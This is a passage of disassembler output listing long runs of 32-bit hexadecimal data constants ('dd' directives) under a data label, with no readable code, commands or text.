2D45C5EFh dd 510BC10Eh, 4ACB2057h, 5BB78Ah, 7C483AE5h, 7B236634h dd 0E19D9F07h, 2AB084A8h, 7729FCh, 37D9FEE7h, 78D6D25Eh dd 0AEF31207h, 1DE04857h, 5DC1843h, 80ADBC21h, 3D25C00Fh dd 1E023511h, 57129BF9h, 814340FDh, 79310093h, 0F11B60Ah dd 9A093AD8h, 83D33262h, 309987D8h, 0AD5A59AAh, 7801E7F6h dd 9B7534CBh, 9E70E847h, 0A5D2005Fh, 0FFF52F8Ah, 0EF003F74h dd 0E3DFF778h, 3CCB3F9h, 0B5799F11h, 0C6C1D083h, 0C8EBA41h dd 28A86122h, 42583AFAh, 69D2D501h, 0F0D4963Ch, 0FD036578h dd 60170614h, 62F5C0F6h, 0F410C008h, 9F7930CCh, 32CBFC00h dd 0DB18C65Fh, 9B80009Ch, 55FEAA82h, 18DFD2DAh, 0A97B36C1h dd 998007E0h, 0D6EAFABEh, 2F003C57h, 471508D7h, 0A6A8EBh dd 0E997B5CCh, 32B1917Ah, 0D5FE0300h, 61836DDFh, 581A07C6h dd 816A6910h, 8C6F92A2h, 196C2269h, 3E427D81h, 0F900F4C7h dd 0D88794ECh, 52000FFCh, 0B3CF7DAFh, 0F1ABD7h, 0FFF84ABAh dd 37A6D5F3h, 4F19FA00h, 1003E878h, 0EC5301D8h, 399A57C4h dd 0CD7BCC34h, 1116C00h, 71F1F96Bh, 279B00B5h, 7E3B2BD0h dd 0E400A10Ch, 6685BD8Dh, 0FE210FBh, 0F73CD8E0h, 205DCA1h dd 0F0E3FD26h, 0AC0F08C2h, 807F7A17h, 313F777h, 0C89D0001h dd 0D9C13D98h, 7E0781D1h, 0CD4B1870h, 0C8295EC3h, 67D3D428h dd 330FC278h, 0D2839701h, 2A69DEF8h, 0AC3F5C01h, 9887A5C1h dd 5A02E4h, 0A46609B1h, 5CC02B0Eh, 6C77F200h, 8E7933C7h dd 7DC20EF6h, 0AD479EFBh, 0D99990DCh, 0E27CE7D6h, 2500F5B0h dd 0F0F44FBEh, 73DBC5h, 79C0CEA4h, 2ADAAAB1h, 0AEF2F11Dh dd 8DEE0407h, 8C7B051h, 1FC0FCDh, 17FE0089h, 0E77B32D0h dd 401F7E75h, 71C042AEh, 2413B674h, 0C7520053h, 276F88EEh dd 661C2592h, 0D4004B6Ch, 1A14C448h, 0CD720Eh, 0B8692752h dd 0CB7A82F1h, 5F3B3C01h, 0FE38729Fh, 5F37030h, 9557BFA5h dd 126480EDh, 53EAE2FBh, 420037F8h, 8469CAFFh, 3195550h dd 0D04DFAAEh, 28003D88h, 0F210482Fh, 0ACDEBEh, 38781FA4h dd 0A82C5646h, 1441B00h, 280EF60Ah, 21ECB9h, 56C8947Bh dd 8A38E0C9h, 863238h, 3B7E97BDh, 162277BCh, 0D3B790h dd 9164B961h, 351DFB71h, 618CDBAAh, 336D6EAh, 41B15CE2h dd 6888349Dh, 37E621CCh, 0C0EA4800h, 927A9C78h, 0CF090097h dd 0A6FE6714h, 9814402Dh, 7BFAC42h, 8396496Fh, 63F7B6A0h dd 61A30072h, 0AFE47C9Eh, 0AE008B09h, 50734904h, 1C65F843h dd 80D18F4Fh, 0D0AA44E5h, 0D650BFCAh, 3B002EF8h, 0A930C69Eh dd 0F44A26h, 0F56E8B87h, 836194BBh, 5DAA0E00h, 0D84B0CF2h dd 24B86Bh, 9517A66Ch, 0B1FB828h, 136A8707h, 0A0FFEAABh dd 2974C7F1h, 0AD4F0093h, 8C394D64h, 0F63E4014h, 0B4E880BBh dd 0E79FE027h, 640900ACh, 49DD0B55h, 0F101BD37h, 0C7F0EAA8h dd 0FBC4BF62h, 1103002Ah, 0D464588Ch, 440759AEh, 2C386A40h dd 941A0861h, 3B04B6D4h, 0AF813769h, 3D68FAA9h, 0B9E2D0BCh dd 1855D03Fh, 8610B6DCh, 0DA450082h, 5F38DFEEh, 90032C1Ah dd 6C36A9D6h, 3D68CEFEh, 0FFAFB732h, 82002470h, 469A2574h dd 804235h, 0D9BB40A5h, 0ADE11DF9h, 9D436700h, 0B63A6076h dd 5090E8h, 0F91A4D23h, 505A16FAh, 82000890h, 0D09A416Bh dd 46DC00Ch, 7E72B9A4h, 31A08008h, 200223Fh, 0CEE25D13h dd 75F18656h, 696E0078h, 67C3EC90h, 7300BB1Ch, 0EE0357FBh dd 0E3AA947h, 0BDB6461Bh, 0F025C287h, 0D0DA0830h, 1FA5C300h dd 3620BFFh, 0AFE80715h, 0D3BDF523h, 22C0FC3Bh, 89025784h dd 8C034FF2h, 0BDD2E096h, 124B05E1h, 0C0EC814Dh, 0F725323Dh dd 0C2DD300h dd 3D3ABCFCh, 0EAE900F6h, 10CC4D98h, 6300A47Bh, 0EFE7B8D0h dd 0C21C0297h, 129D7C48h, 2DA301C0h, 0E0164F38h, 6E95C418h dd 18C8F270h, 7912A77Eh, 0BC076D41h, 0E3F6EF81h, 7713F8A0h dd 10E93006h, 333D6020h, 0AD533200h, 8939C4B6h, 0E2E9C720h dd 0A2C03F4Bh, 0C538EF19h, 824BC00h, 0E4F38BC2h, 1C0A5CC3h dd 0BD3FE607h, 0A41C400Dh, 38007690h, 0E3C2E96h, 0FC5E1899h dd 771B002Ah, 0A3342B1Ah, 3F038823h, 28756158h, 909AFBB4h dd 458CDEh, 0A3A5F2DFh, 82B1508Eh, 6776ED5Ch, 0C360F390h dd 60A5E82Dh, 9C1E189Ah, 4E7EDCA6h, 820620DFh, 3C1CEEEh dd 0DDD2C988h, 0D1A08145h, 217C13BBh, 10E1DA30h, 0C3454h dd 3DBE521Eh, 6703DB31h, 36B4C000h, 1253C19Ch, 0DAED03ADh dd 0C468D3B1h, 0B93400A5h, 1ED5FC19h, 0D39150C0h, 18D1A86h dd 1F9D1224h, 0E450AD72h, 0E9050BF2h, 9969332Ch, 37C46403h dd 4878EBh, 0BBB11C44h, 0C67ED50h, 7736FF00h, 0C04FDE4Dh dd 6C78C3h, 5AAE151Fh, 5BC6AD7Eh, 56246003h, 8B4E7954h dd 2006C018h, 97D200C2h, 0E74CE0D9h, 8E00F463h, 9444373Eh dd 0C52E18h, 0EE61F92Fh, 8542E871h, 28231D00h, 0E9218A3Bh dd 0FF41071Bh, 0A05D45F8h, 5B79D149h, 0FCE13900h, 0A6135471h dd 9B0D0014h, 640B0C7h, 77F28E63h, 1B6CFF00h, 4D3FDE52h dd 44B9002Fh, 4C0936FEh, 2A2C9634h, 803BDEFCh, 0C1E206F9h dd 390C6298h, 798088FEh, 0F163B3F0h, 6C0EAAF6h, 60EB2F40h dd 0F885D458h, 0DF98DBh, 4CC469E2h, 2253F66h, 4CF20F5h dd 0C4A4FC51h, 49FC68E9h, 1A762700h, 0FA31240Fh, 0D1730A59h dd 80DC0E03h, 577A3DC7h, 140BBB79h, 0D7789E2Fh, 0C8BF5700h dd 29C01C0Ch, 0AB329AA2h, 13D3FA58h, 2053D08Bh, 0D1BDCF00h dd 0E0283100h, 230EAF2Ah, 0A67650ECh, 0ECF0543Ch, 7E415h dd 5336F955h, 0B50A4F79h, 0F2FD8218h, 30B03820h, 94701EC8h dd 0DD00675Fh, 9ECA239Ch, 0F709012h, 0A1B886A2h, 0EE64B6A0h dd 57141A68h, 1FC46E0Fh, 910C02B4h, 0E60C71D5h, 0F83092A7h dd 0A6F1449Fh, 9442958h, 10C4C3E2h, 0C672B160h, 91C79A40h dd 0D4F57600h, 853C1B65h, 26801A7h, 0ECC7906Dh, 1480EA1Dh dd 54897A06h, 0E579F9F2h, 46E0E00h, 0A411BEB3h, 5C730C4Ch dd 6369F60Ch, 0EF6D3701h, 22C7D8A2h, 34A982DEh, 87C041D1h dd 1F892ADCh, 4A4C0E53h, 5C3AAAh, 10BD298Fh, 9C39E7B5h dd 8A4C3B06h, 0C4C4760Eh, 0C7536980h, 601AC2B8h, 0C067121h dd 0D2008F46h, 6BF4323Fh, 51B68D6Ah, 20802C76h, 0D25E8293h dd 2107203Dh, 0FF8A2415h, 0D8858770h, 0BF6F1EDAh, 0C4697099h dd 4700BB94h, 1CD9A0CAh, 1A2497h, 9C238FB0h, 0B32253E3h dd 0BCCD6800h, 0C3DDFA1h, 70E967E5h, 0EE197034h, 6300BB9Bh dd 1236E12Ah, 73A51C9h, 52D24F7Eh, 11765970h, 200B0C09h dd 770DC968h, 0E8861F93h, 16DE851Eh, 0E3FFC0B0h, 0F4ABAC25h dd 725FF0A8h, 0D986CD02h, 0A8F803F7h, 0E800E584h, 9A763A40h dd 0C9F8A3B9h, 218F130Ch, 4B00DF02h, 6AD8C4Ah, 8546B360h dd 0C05A440Fh, 0A40379F9h, 0B612DD9Bh, 46F882h, 212D9Eh dd 0BADEB370h, 1AC98158h, 0EDE8EB24h, 0C2533A00h, 910C39E1h dd 0F8C303BCh, 20870196h, 62DB6A6h, 445FC204h, 50916F50h dd 0A2CE0C55h, 0C082C99Ch, 16813418h, 0BE3F786Bh, 0C085250Fh dd 0A05F2827h, 192224D0h, 433F40B8h, 0A0B036CEh, 44259A0Ah dd 8E8028E0h, 228A2387h, 7AD00043h, 0BEA3799Ch, 997F7DC6h dd 2B654100h, 460EBBF3h, 0D2473AABh, 1B62980h, 0FEA4D6Eh dd 0D8D47124h, 0D91A6D8Ch, 27A80EE0h, 0B87F8644h, 0D9BF900h dd 438034EAh, 39110F0Eh, 3D835B0h, 50B7D6E8h, 0C5F580B2h dd 2C170035h, 92B08BFBh, 4D0468AAh, 96DEBA9h, 0CADD0490h dd 0ECDE0E1Ch, 88A0DF7Bh, 9140D7CFh, 0F6F0105Bh, 321EE27h dd 1F66A3D4h, 0B08F0739h, 20BA6BCFh, 53628000h, 25D6EC1Dh dd 4C1C5CBh, 394C8041h, 9C0794D0h, 74799DB0h, 38B81DF0h dd 0D68B12CAh, 80881F3Ch, 0EBEE6FAh, 0C9D292D9h, 765F4800h dd 90E4FE4Ah, 88275478h, 0A4F50032h, 7F5F3056h, 0DC007842h dd 555B8598h, 0A0B2FCAFh, 2A2BFA8h, 144EA540h, 0E844173Eh dd 6030C407h, 23306688h, 2E46C86Ch, 0FD33F51h, 0F8FD26BFh dd 8999607Dh, 155FDDF5h, 0B10146F2h, 1E3B7188h, 21809AB0h dd 4433A959h, 0F7E220B4h, 0FDCD80Ah, 3C286443h, 0C53DA0Ch dd 9EC10Ah, 5A1CCE89h, 2A2C3195h, 840F9B28h, 5136D700h dd 0F76570EAh, 24E002Dh, 0DB49BEFFh, 8C07C804h, 68B1B62Ah dd 0F7450860h, 80409182h, 61803DA9h, 90006286h, 75B0BB5Bh dd 319BAA7h, 950E4C9Fh, 72DBEABDh, 0C08BEE80h, 20035D28h dd 22AC9000h, 36E42793h, 80CB0064h, 873EB54Dh, 0CF12CA26h dd 0E00488B3h, 534CE876h, 5025FB8h, 0F348C10Eh, 0D80460B8h dd 0A0B30324h, 491D17E8h, 75388CECh, 693FEEEEh, 3AF2014Ch dd 235D1502h, 24F471C1h, 0DB27038Ch, 3BB66595h, 24EA8D91h dd 38717FC0h, 6068498h, 5199724Fh, 543C2689h, 0B6C500EEh dd 23F9893Ah, 0CF00DCB1h, 4B255242h, 0DCBA52D8h, 72B781Ch dd 30E33BE6h, 0D6394946h, 85FC4F00h, 327C57ABh, 13C789Dh dd 1709BE2Dh, 0A4DB01CEh, 123A8C71h, 0BC2723ACh, 0EE384290h dd 0C5EC0052h, 0A0DEA5DDh, 2C01CD40h, 6E71BDABh, 6423658Dh dd 7A396000h, 53759349h, 44B77D16h, 8A2C3D00h, 0C0FD6D68h dd 6E58A829h, 650078C5h, 0BE142932h, 15A03h, 0EC118EABh dd 8C754A64h, 420094B0h, 0E54BBC1Bh, 0B841AAh, 0BAB62D87h dd 0F272BE86h, 4334EE00h, 56C1245Ah, 0C1A36523h, 5454806Fh dd 0C9033D92h, 50C49CB8h, 3F17916h, 0CB69C217h, 8DE3A28Bh dd 807D193Bh, 742E83DEh, 3B0F9B1h, 0E3FA9739h, 78E08188h dd 658D2D4h, 83C126E0h, 23393930h, 0CF80002Dh, 0E286C7BEh dd 0B51CAB77h, 8BC0560Eh, 24ED21AEh, 929F006Eh, 9E853B43h dd 5C90BA5Eh, 893DE901h, 0A04C8782h, 977A920h, 454217C4h dd 80B8B807h, 0C163E07Dh, 70E92724h, 5C6B148Ah, 0F9B6BA0Ch dd 0EB970130h, 7CC577BFh, 71D209Eh, 169B7A1Eh, 40D6E5C0h dd 0B14FFFC4h, 0CD9F0E7Ch, 11580C2Fh, 0ED0FD1D2h, 0A313A205h dd 0A8655E32h, 0EC16A036h, 2D3009A8h, 0F086B6ADh, 0F30181DAh dd 3A0B20C4h, 0E17EB703h, 189C2401h, 869C9B00h, 0A8C632BFh dd 2C557416h, 3A03ED3h, 123DC48Eh, 0B8C505F0h, 34A5C3Ah dd 3C14E7BFh, 6E008CF3h, 0FC6B7FC9h, 7EDE6030h, 0B1D330Ah dd 0C8B1E6A0h, 0FF71F01h, 3FE42247h, 53B49355h, 0E7C9420h dd 23A70EC7h, 2E7D47EAh, 6DFB40FCh, 6A90C9B3h, 71402600h dd 1D0ADF0Ch, 0FCC908Ch, 9E97E5F1h, 8F90F96Ah, 0D9A0DBF5h dd 0C8FC2EA7h, 5B690F18h, 0AB50A69h, 25C2D464h, 611EBE80h dd 31106D6h, 171B10EEh, 0F830F10Ch, 0A23ADAh, 0E174FA06h dd 31D892F4h, 14426400h, 0EE074397h, 32EF0385h, 2C560640h dd 0B68C6901h, 0EA5CE30Ah, 9083DFCCh, 60BAF006h, 25EC79E2h dd 5500FB3Eh, 4FF9A4D2h, 0EDE4D8h, 0B2C193F1h, 6A9AA003h dd 99BEF30Ch, 3959C2h, 0D0ECB47Fh, 9693EE3Ah, 0B0147700h dd 27A22B61h, 1C880031h, 841B0ADCh, 720352B8h, 9FDB092Ah dd 2602B740h, 0E87C5219h, 0E080051h, 5BEC3378h, 3400F9E7h dd 0E43227A0h, 58B0691Bh dd 0B60B7977h, 98901685h, 2800C28Fh, 0AEC59397h, 3817EA5Ah dd 73006863h, 13253E82h, 70C0B9BDh, 0D9A31D1Bh, 90B057h dd 0EC518BDBh, 0C99FB354h, 2810D44Ch, 0D7FAA4E2h, 145FAE04h dd 44415A69h, 530F3C7Bh, 23C0C4C8h, 0D5A085DBh, 0E00F62Eh dd 8856CC18h, 1EBEB301h, 0D2BFB8A5h, 9A1CC87Eh, 0F3547F84h dd 4248C8h, 46509F9Dh, 7BF433C4h, 0E0936E01h, 0F2FF06DDh dd 480E0AF8h, 17801C68h, 0DB24611Ah, 5D529612h, 90F8F40Fh dd 75E18200h, 484C6480h, 0F75C24B8h, 0BB104020h, 0DC315606h dd 0C00E0F69h, 6E361A99h, 2409F49Bh, 0CB6B4ACh, 969EE982h dd 0AA7881CCh, 0E425727Ah, 0CE308894h, 0C1EEE82Dh, 0DCB803A4h dd 48A75A6Eh, 94E0D5AAh, 91B0AA50h, 7D118802h, 60941A76h dd 2BFA6D4h, 8252A527h, 0DDC060CBh, 0A8B03B08h, 6E13C316h dd 0EB90F400h, 1B3327A3h, 0F026CE59h, 5C76008Fh, 0BC5C86BBh dd 478480B8h, 1EA321A4h, 9DE8EA01h, 0EDD0C08Fh, 0FA490A15h dd 0F8730F24h, 0ECE48869h, 711494C1h, 24530840h, 0A2A0C0A4h dd 7D765E90h, 0AD81D60Bh, 69F001BDh, 0A850116Dh, 4C61CE2h dd 0C1579DE4h, 9F8CC80Eh, 7B98B07Eh, 0EE35B400h, 21BBC658h dd 2C6A580Eh, 0F89E7280h, 14086439h, 8FC250A9h, 41C7D980h dd 512AB0B9h, 1454A029h, 4A674C60h, 0B540CD88h, 50D36C94h dd 27598B0h, 8AA5245Bh, 9048FB17h, 930FBEEAh, 0C0C5BA16h dd 0C3541402h, 0BB330191h, 153E9C59h, 3DD1E41Ch, 0EA68603h dd 0E0616746h, 48325168h, 9261070h, 49A01275h, 0C8830B18h dd 0E024869Bh, 870098BDh, 0E85B4C33h, 3D58ECD7h, 5F079984h dd 70242256h, 8B3037BAh, 7EC12A06h, 160849F7h, 30960F5Ch dd 95B5230Ch, 246B1000h, 564ED732h, 0B721C15Fh, 0DCCAF2AEh dd 0AA02B8E6h, 69AC0481h, 0AB744039h, 5250FEAh, 8E0B756Eh dd 0B700048h, 3A20B560h, 9951201Ah, 0B9F8008Ch, 588FE1ADh dd 28872407h, 25C559CEh, 80CC8h, 5BA5AFDDh, 0DBF87106h dd 0DA28B4A0h, 40241B00h, 460F602Ch, 0BC14034Dh, 0B8A11D35h dd 280CEAC3h, 207DF4D3h, 7868908Bh, 0C4E126Bh, 0E3F48C44h dd 40007DFAh, 0F8537652h, 4B6DEA30h, 4DEC400Fh, 0AF1E17C8h dd 25738A01h, 69392EC4h, 249AD9FCh, 410C6814h, 323C1D54h dd 46A20030h, 3B941201h, 57382EC8h, 0E35D07B0h, 88144091h dd 0E7134456h, 5027DF06h, 0A86607C0h, 5EC7C64h, 731D7746h dd 0CEF000D2h, 50C1084Ch, 0B27180E3h, 16133B9h, 0E0E70059h dd 8D1925EDh, 0C30C2452h, 598E2340h, 0D07104E4h, 0C0F56A3Eh dd 33A7755Ch, 8473A507h, 91927FA8h, 0E1EC405Dh, 4A4A5CD8h dd 1E21CD17h, 60582E68h, 8C421AF4h, 23810403h, 0D0B4A03Fh dd 0C0DAEA79h, 0A3B9BEB0h, 909816E7h, 80702358h, 18E9FBD5h dd 0F6D30314h, 3DE6A39Dh, 6F4DE890h, 50D46E00h, 9A04DB25h dd 12C12501h, 0A1BA025h, 60AC06E0h, 0D3679286h, 0B9824701h dd 3BC1037Ch, 343D848h, 9EA2DBA3h, 90C7861Ch, 40C43A95h dd 66E49003h, 0A86C4F0Fh, 74DCC08Bh, 799F129Bh, 9A1800F2h dd 44DF1F59h, 8D5C14F8h, 5728048h, 79EE907Ch, 753B26F4h dd 29013994h, 1CAA774h, 0B02D03h, 7BBE2142h, 883AEF9h dd 0CAFE0680h, 0B86BB004h, 74BB4480h, 338E89Bh, 3A785FFCh dd 417D0B6Dh, 8187C91Eh, 8C1F6CACh, 35049E97h, 90C84514h dd 0BA0A3D7Eh, 0BF666882h, 7C7949CFh, 0B0FDE800h, 5A858C7Dh dd 0AAC04023h, 5CDEBEAh, 0C650C700h, 8EABC011h, 0BFC10024h dd 2DF57092h, 3A057EC2h, 0A5B55C49h, 505628A2h, 3D443800h dd 0DDBF69BCh, 9C61BE01h, 510C1A77h, 0B5007029h, 0F8129813h dd 28002E64h, 0BF57C291h, 2EE8283h, 4675A6BBh, 605A7D0Ch dd 0E832EDh, 4B1C5962h, 799069h, 0FBDF6E10h, 94D0A6FAh dd 4585E58h, 52DDC24h, 0E9EFF8C1h, 0D4E43A02h, 457DE100h dd 602F269Ah, 359707E6h, 1B7A752h, 637F14B8h, 0BF9F003Ch dd 0DB3E2268h, 7E2705A9h, 0A2E94E49h, 0EECB0170h, 4C280B04h dd 0E82163F9h, 6870ECh, 0DF48A90Ch, 8C7EAA98h, 1C39D12Ah dd 9980CF00h, 795CC8FDh, 0DA30014h, 0F52FCD06h, 0E1393AFAh dd 5CA82626h, 0A41D1501h, 872DB0Eh, 0C270101h, 0E3488B6Eh dd 2FD0A5DCh, 0CA13F0h, 0D72523B6h, 0FEEBC66h, 620E740Ch dd 99BAD9FEh, 0BD6700A0h, 66903983h, 74862C00h, 6C0268A9h dd 5D7503F5h, 0F8643625h, 0BC7142F8h, 6026192Ch, 94707616h dd 2C544105h, 3C1C5Ah, 0E448C42Eh, 2C00774Ah, 34875815h dd 1F25A3F8h, 1325A94h, 1AECED27h, 8AE460AEh, 4B4140Eh dd 805CCBBDh, 72D70944h, 0FDD94803h, 17E26967h, 77C5A04Ah dd 0EC393464h, 854590Eh, 808D513Ah, 6498D06Bh, 0F9075823h dd 0C6CB6ACAh, 3EEDD7E0h, 0F07D02F6h, 5A047F11h, 69B0B840h dd 710EBE17h, 0C51B830h, 2525E46h, 6C4B2514h, 0FE009846h dd 8F3045FAh, 23226BFh, 0E1DF566Eh, 8C4494B6h, 0A2135890h dd 9C8001AEh, 0FBB6529Ch, 81FCCADAh, 49EAB49Bh, 0CF093h dd 18786EBCh, 3A75F034h, 349C2626h, 690F0811h, 422337C4h dd 2095AB50h, 1376CFE8h, 49E62A00h, 0B35DD1A7h, 0D7680264h dd 0FD450FF7h, 0A063208Bh, 7F14C8BDh, 6DD16F02h, 0C470148Dh dd 0DF025BCh, 6C30482Bh, 7B096D72h, 0B9B4D5h, 0F25C664Ch dd 0DF2B0095h, 0BBCCC985h, 0C1257791h, 0BFB0A0C4h, 3560A71h dd 4F3227A2h, 1A71A09h, 2A420E78h, 2D870841h, 44F87488h dd 71D8046Eh, 0F2C060F1h, 0F2B0048h, 0E64A9114h, 0B67E09FDh dd 5B00C2D6h, 8B4B3124h, 0D0A50E29h, 9AF01025h, 77B40111h dd 8466704Ch, 3D83D3Dh, 0A0041585h, 2EE09790h, 18249D7Bh dd 0F1C150A4h, 0F67D662Ch, 0FBBCED00h, 0EFBB8167h, 35D0059Eh dd 8923383Bh, 0A47CC07Ch, 9790A100h, 6B321B0h, 65BA00D9h dd 4EDB435Fh, 4024C1BEh, 660028B6h, 0C3DE6085h, 0A849FE7Eh dd 0F53C24h, 2DABBF33h, 8609C6B8h, 0CDF84104h, 48899A8h dd 90C83CAAh, 8BB65689h, 25DD3810h, 7480D0B6h, 8F69473Eh dd 0DF60Fh, 2A7C676Ch, 0C42C0E3Ch, 0E580A899h, 66AAF76h dd 0CFEAB6h, 0A68ED8A7h, 0BA86D653h, 0B5F3B0C1h, 0F833F073h dd 0B6029222h, 697EE64Ch, 3BF85A3Ah, 5B24BABEh, 0EF3B0010h dd 943C5C6h, 9F1634FCh, 0A1CD670h, 9E496F80h, 0B691Bh dd 0E1955924h, 460E9F6Bh, 79847501h, 0A4F3728h, 0E0248C20h dd 0F4915C29h, 0B9900733h, 38397124h, 0C0121E11h, 23B8033Ah dd 0B0C88541h, 0EC2C01A9h, 1440003Dh, 3BE83112h, 658058F7h dd 0D233742Bh, 0ECB945B8h, 0E3D13D8Fh, 0F899F2DEh, 735AB442h dd 0EA930189h, 0B89ECB50h, 470FD84Eh, 0B96FC96h, 1E2578C8h dd 0C750CC83h, 3346A95Ch, 74809A13h, 3D00794Ch, 3B06BA14h dd 1A0C23h, 35DFFD7Bh, 0E253A7F3h, 1473B626h, 97240049h dd 9124CDE9h, 0BCBF0214h, 8E0C459h, 3C1DB46Eh, 418744DCh dd 9B2227DBh, 0A100E882h, 67DD17FFh, 815A0483h, 4EB8C1BEh dd 0C83D17h, 87F78668h, 13151863h, 5F9830Eh, 0F0BDBC08h dd 16046E37h, 0C45DB441h, 0BD42F4C3h, 0EA80BF85h, 621D64h dd 72DEF124h, 7E0E945Ah, 0C0C458D5h, 3DD652C4h, 3F0F1C13h dd 0F6B4C1F5h, 28854CB5h, 0A74D8044h, 77B965h, 59996BB7h dd 9C50F657h, 68E39007h, 0F3108753h, 0A0295BEEh, 9A2418Eh dd 19834A3Ah, 5E37A418h dword_57F994 dd 8A8AC00h, 393ACB75h, 0E8C3FE0h, 8D564E88h, 0E3F34780h dd 379026h, 0B12A127Ah, 9A01D750h, 0EF5D2100h, 62DF2D0Dh dd 44B0B85Eh, 3891F016h, 0DB0F6CA4h, 0BE2D875h, 60F8940Eh dd 3AAAA485h, 49231A0Bh, 25F4E03Bh, 8A9C3B5h, 4BC9EEBFh dd 0A6EAC835h, 85616D00h, 0C155CD13h, 0EC2A9520h, 66E0235h dd 0C48F93Ch, 8D005C01h, 6AA2C81Bh, 0E88FB524h, 4C9D0BBAh dd 0B0845776h, 3078E520h, 0F5003EB0h, 82BB68A7h, 4EC84AFh dd 0C13BBA1Dh, 0F65C842Ch, 0FA60068h, 642027A8h, 0C76C00D0h dd 6772A9CCh, 0BB01FC22h, 271A4856h, 30285349h, 9F75F80h dd 8928ADE4h, 34507423h, 59B84DBBh, 48C57000h, 0EBF17442h dd 0C3F61484h, 3848542Ch, 58496D04h, 0C867C521h, 600DBECh dd 611B056Ah, 9E43FA2Bh, 13F01634h, 8CC8D458h, 3C029944h dd 42A2AD39h, 0E032E0E1h, 50211E06h, 0E2003F1Bh, 0F664B6F0h dd 3120C72h, 20B2D26Bh, 801E3702h, 0F08197C5h, 0D35C9E94h dd 0F89063B8h, 2835A700h, 387182FFh, 201A4FC1h, 6D5253F0h dd 8CCE172h, 3411914h, 0EF4D8338h, 0BE90F61Ch, 9109C277h dd 71029BFCh, 0F19801BCh, 0EC2451B0h, 600DC23h, 6566C14Fh dd 11AAA9Ah, 5C996E38h, 71924E87h, 62152110h, 0BC7F0110h dd 4DAB7497h, 2E390CD8h, 62D4730Eh, 0FFE04C6Eh, 370034E0h dd 27D39CB2h, 4F3A8531h, 4C70479Eh, 1367CCh, 88B54EC0h dd 7E6FF514h, 1A4827FCh, 0E3688390h, 0FCC7ED54h, 6B0FE900h dd 0BB49CB2Bh, 23E68E8h, 0E340E207h, 65C37422h, 0D0F0B5B8h dd 1CC400D7h, 23809AC1h, 0AD074957h, 0D168B37Dh, 85702013h dd 5B0090A2h, 0ED0262C8h, 69DD1751h, 1A6EA280h, 493D8650h dd 0AA00600Dh, 94B90793h, 0D373D497h, 517FB01h, 78B6EB45h dd 0BAFC202Eh, 0F7192621h, 50C0F33Ch, 0C22F423h, 4AB89003h dd 0E0A0B1B4h, 224EABEh, 0EE394433h, 604C1AC3h, 2504154Ch dd 78EC4645h, 0FC0658A8h, 20B05C16h, 2730CFD4h, 837CF81Dh dd 5E33F180h, 14A7B8E8h, 0B05A07D6h, 0B654E903h, 0B17EE591h dd 5900D4B9h, 44E9A971h, 40110EA0h, 70401929h, 0E3184ECCh dd 0E5003BB0h, 0B88C6158h, 904CBA71h, 0D4FD4518h, 0E009A74Eh dd 6AE74FC3h, 4C7A94h, 78F5289Dh, 0F0D16DD5h, 0C653191Eh dd 83501242h, 0E2027D22h, 34C1F690h, 0C4C5605Ch, 98B2AB05h dd 0E480AC9Ch, 71A763h, 529F5AD3h, 5E5F879Ah, 78032224h dd 0CBBDD640h, 0F935008Ch, 7F32073Ch, 8A3C7B67h, 1DC498AAh dd 94691429h, 70446164h, 88E44465h, 89F4DF10h, 808828D5h dd 23B5612h, 52DA0C28h, 1551100Ch, 6126A400h, 0A308A219h dd 0F0930B3Ah, 40443ECFh, 26C57B00h, 0CD15E937h, 68940923h dd 0E4803CB2h, 66DD6F5Bh, 0DFE7D02h, 0A0BE1921h, 0D6C8B29Ch dd 0E675F8AFh, 26E034Eh, 0A8537392h, 0D39480FCh, 38F80824h dd 0D484880Fh, 6C0E0E71h, 26F0797Ch, 4468014Fh, 0C04D47F9h dd 0D2DC8CA0h, 74310095h, 0EA1BBC0Dh, 7F013A9Dh, 437EF87Ah dd 49805951h, 0A168B73Ch, 0A43BEF2Eh, 157D09D1h, 894059BFh dd 6050A84Ch, 0C4DDCD00h, 38EC6817h, 0C14803A0h, 2A564F7Eh dd 0EAEE5100h, 0F1B6AB4Ah, 26411DDCh, 2B60801Ch, 1A510F7Dh dd 48B42A1Ch, 0E05B2440h, 752950C9h, 12F4904Eh, 85446B52h dd 1D0C8C80h, 2A575400h, 91C30E48h, 0A999F6DDh, 1F60F810h dd 5D5C072Fh, 0F9A687F5h, 0FD14D0C8h, 1BB18400h, 322791E3h dd 0DC131D8Dh, 25FE91C3h, 864BFh, 280E38F8h, 604CC91Bh dd 14992100h, 835D10F6h, 183EE8C8h, 317D0F7Ah, 192A24F3h dd 0E904C0C5h, 3E111A6Dh, 0DC07C8C0h, 0D0406078h, 389B509h dd 0C7D0E849h, 72D0BFADh, 21EF81h, 0CFAA52D8h, 0BE583374h dd 0C4358800h, 9C0E1E07h, 0CAEE2482h, 0BAEB0448h, 0AF10D0E1h dd 6900D473h, 0D5BCE7B5h, 26503Dh, 27585386h, 0D3EBE459h dd 7426CAB0h, 140E051h, 0DD089h, 7F2199B8h, 72B0DD63h dd 44208E5Ah, 7084928h, 0A9258FAAh, 81381431h, 0CC566EBEh dd 3C9C0E13h, 1DCC50C0h, 0A3580F87h, 0EDA9B690h, 633274C8h dd 44E63725h, 0CC760058h, 87BEE58h, 2E005F11h, 0AA76623h dd 9005D9h, 27352E0h, 0DA5185EAh, 320F9100h, 0CA2ABD40h dd 0B9FE8A9h, 8DB66F53h, 229EE8E9h, 9D040FECh, 9F396007h dd 903F71FEh, 5BB20B30h, 913C72h, 45EBCC1Ch, 32C2AD00h dd 4F03BBBAh, 86653846h, 914B5001h, 0C23B2925h, 4C003846h dd 55A79DF6h, 25E6181Dh, 90E6C98Bh, 7FB6F80Fh, 9DF0E016h dd 4008FA6Ch, 69F2CAC7h, 5526BD00h, 1842D1E2h, 0A3B3073Eh dd 0C0CF56BCh, 4EF8BE31h, 0EC19C12Eh, 3FBC9869h, 0CF88005Dh dd 0C4A98315h, 52005B57h, 5F3D2A17h, 2C63DB24h, 899C1231h dd 0CA0EDDCFh, 97EC2A1h, 27607070h, 74A88h, 2A92F4EBh dd 3BC0B204h, 16FE7413h, 135C5420h, 70FDF4CBh, 209C4F3Ah dd 8AA6F028h, 1805C2E0h, 171A2689h, 0CEAC9080h, 47112BBh dd 0CD2801F8h, 0E4063487h, 79DE256Dh, 0BE5A3E40h, 9A821ACh dd 54E40DE5h, 0E23E1044h, 0B082BDDCh, 7323B8B9h, 91A0990h dd 0A879C89Eh, 1D60C94h, 256BB414h, 5C68F250h, 0E7C93980h dd 69033B6Ah, 0B146EAF9h, 0FE588A2h, 0E0909573h, 0C2E98A21h dd 0C309207Eh, 0B1DC490Eh, 621D8F6Ch, 3C440E2h, 3A9040A9h dd 0DB0090A4h, 0F9646671h, 0E2241A19h, 